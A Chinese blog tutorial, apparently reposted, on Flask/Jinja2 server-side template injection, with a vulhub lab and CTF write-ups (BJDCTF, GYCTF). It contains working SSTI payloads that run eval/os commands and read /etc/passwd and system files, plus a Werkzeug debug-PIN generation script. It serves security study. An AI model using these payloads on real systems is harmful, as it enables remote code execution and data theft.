Py-SSTI

 · 2020-5-9 · 次阅读


以下转载自师傅涙笑的Blog:Flask-SSTI

Flask

flask是一个web框架,也就是我们可以利用flask来做一些web页面、博客等,与此同时可以利用它的工具、库、和技术.
flash属于微框架(micro-framework),我自己理解就是属于比较小的框架,然后又不依赖外部库。
他做简单的项目比较方便,然后就是需要开发者做更多工作,自己开发依赖列表添加进去。
flask自身的依赖有:Werkzeug一个WSGI工具包,什么是WSGI呢?
全程是Python web server gateway interface由于是python语言定义的web服务器与web应用程序或框架之间的一种简单而通用的接口。
中文名是web服务器网关接口。
一个简单的hello.py,使用flask

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
    return "Hello World!"

if __name__ == "__main__":
    app.run

当然python不自带这些库,都需要用pip install Flask安装即可
flask默认端口是5000

Jinja 2

- jinja 2是一种面向python的现代和设计友好的模板语言,以Django模板为模型。这个Django后面再去学习一波。
- 也就是jinjia2 是Flask框架的一部分,但使用它会把模板参数提供的相应值替换为{{...}}
这个有点像JSP的使用方法使用{%...%}
-刚说完,jinjia2模板的控制语句就在{%...%}块中,举个栗子:
{
   \# 控制结构
    {% for file in filenames %}
        # 取值
        {{ file }}
    {% endfor %}
}

输出为0123456789

SSTI-原理

先用docker搭建个环境,使用如下:

https://github.com/vulhub/vulhub/blob/master/flask/ssti/
先git clone下载整个项目
QAQ100多M
然后进入到ssti有.yml的目录使用如下命令
docker-compose build
docker-compose up -d
然后使用docker ps查看到端口号
然后使用本机访问虚拟机IP:刚刚查询到的端口

在打靶之前先看一下该web服务的代码:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

很简单就是利用了jinjia2进行了一个输出hello+name,很明显这儿的name是可控的用get传入,由于显示在页面中,因而很好利用。测试如下图:

当然通过这个也可以判断出是jinja2了,下面这张图讲了测试web应用使用的项目:

然后其他利用的exp等下写,先看一下代码怎么改正可以避免这个问题,跟着笑师傅敲一遍:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/safe")
def safe():
    name = request.args.get('name', 'guest')

    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

我们在自己的环境中也修改一下代码然后测试运行(这里直接用本地啦)。

接下来看一下如何利用,也就是exp的构造,说实话找到漏洞的方法很难,利用用熟练了都会,哎,继续努力吧,争取早日挖到一个洞。
一般我们利用需要使用eval这类函数然后执行命令达到攻击,python的eval在os模块中,也就是要先导入os,那么jinja2中怎么执行python代码呢。
官方的说法是需要在模板环境中注册函数才能在模板中进行调用,这也就是说要调用os需要在jinja2中先注册,
这里利用python的一些基础特性:



- __bases__
 以元组返回一个类直接所继承的类
 __mro__
 以元组返回继承关系链
 __class__
 返回对象所属的类
 __globals__
 以dict返回函数所在模块命名空间中的所有变量
 __subclasses__()
 以列表返回类的子类
 _builtin_
 内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
  ps:在py3中__builtin__被换成了builtin
  __builtin__ 和 __builtins__之间是什么关系呢?

  在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
  非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

这里也闹了一个笑话,我自己用dir(builtins)只看到了一小串可以利用的方法,,后来用命令行就有eval了,
然后这里需要知道pycharm中的console和直接cmd里面的console不一样,一个在主模块中,一个在非主模块中。

分析一下笑师傅的EXP

for c in ().__class__.__bases__[0].__subclasses__():
    if c.__name__=='_IterationGuard':
        c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

用jinja2的语法为

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

主要理解一下
init.globals__[‘builtins‘][‘eval’]
为了能够更好地理解EXP所以需要把python的一些基础知识补足,python学的太粗糙了。

双下划线开头的函数声明该属性为私有,不能在类的外部使用或者访问。init函数(方法)支持带参数类的初始化,通过理解感觉有点像javebean的感觉,下面这个例子很形象:

#!/usr/bin/python
# -*- coding utf-8 -*-
#Created by Lu Zhan

class Box:
#def setDimension(self, width, height, depth):
# self.width = width
# self.height = height
# self.depth = depth
def __init__(self, width, height, depth):
self.width = width
self.height = height
self.depth = depth

def getVolume(self):
return self.width * self.height * self.depth

b = Box(10, 20, 30)
print(b.getVolume())

如果不适用init就需要在BOX类中重新定义一个set方法来设置初值,而python中起始可以直接用init赋予初值,也就是init相当于N个set()??
该方法被称为构造器。
下面学习了一下name==main到底是啥子意思?见下面的文章:
name==main__?what mean

也就是我们每写了一个python文件起始就生成了一个模块,我们可以在其他py中使用import导入,这跟java有异曲同工之妙,而name随着这个python的生成而生成属于一个内置属性。也就是name起始就是这个python的文件名。
当创建了如下:

def func():
    print('hello, world!')

if __name__ == "__main__":
    func()

我们直接运行。也就是使用py test.py就可以得到hello,world!.
但是我们在其他文件导入却什么也得不到,为什么呢?因为导入后此时的name就不为main了,所以上面说过带双下划线的都是私有的属性他只在本来的python中生效。
所以这也更好地理解了为啥子我的builtins只有一小串可以用的方法其实就是笑师傅说的:非主模块main中,builtins仅是对builtin.dict的引用,而非builtin本身.
现在回过头来看exp:

for c in ().__class__.__bases__[0].__subclasses__():
    if c.__name__=='_IterationGuard':
        c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

这里_IterationGuard是python2/3中都存在builtins的类,因而可以成功调用,然后再通过python的特性成功引入了os模块。细节还需要继续努力的掌握,大致清楚exp的意思了。
(export PATH)
下面是通过exp成功拿到BUU中ssti的flag:
ssti

刷题:
1.[BJDCTF2020]Cookie is so stable

利用:在cookie的user字段中存在SSTI,

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

2.[GYCTF2020]FlaskApp

@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "结果 : {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

        res =  render_template_string(tmp)

在尝试了一些特殊符号输入时候,报错并出现了调试模式,然后发现了上面的代码。
仔细阅读可以发现其存在着SSTI漏洞,因为其也将用户的get输出解密输出出来。
因而我们构造4先进行加密,但发现解密后是no no no!
那就是*被waf掉了,那么试试4先加密,发现得到:
4
可以确定是SSTI了,那么我们尝试之前的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

将其加密然后解密,依然是no no no,那么我们在解密输入2*2然后报错产生debug,寻找是否有waf函数具体。
很遗憾没有找到waf,由于太懒先不用fuzz测试waf。
在debug点了点,发现python命令行需要输入PIN🐴,这里感觉是另一个考点python pin破解。
这道题综上考点出来了:ssti + pin破解,于是网上找到一篇关于python-pin破解的:
Flask Pin生成机制

因而pin码生成需要下列四个条件:

1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

2. modname 一般不变就是flask.app
3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为
/usr/local/lib/python3.7/site-packages/flask/app.py

因而利用Pin码生成脚本输入以上关键参数即可得到Pin,当然这个脚本就直接用flask自己的生成机制(参数改为这里的参数):

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]

private_bits = [
    '2485410391036',
    '25f34b1b3cf9815ee85b0089a6203547ca22efbdbbc16f0c39d70fb528f773a1'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}

02:42:ae:01:2d:1a
‘0242ae012d1a’ ->(2485410409754)十进制

fc4dc22783754e17e3c06eac6060ce1532cafaef5bf3f23c7bc277f6f1d9e7b1

最后在console输入:

import os
os.popen("ls /").read()
os.popen("cat /this_is_the_flag.txt").read()

最后拿到flag:
flag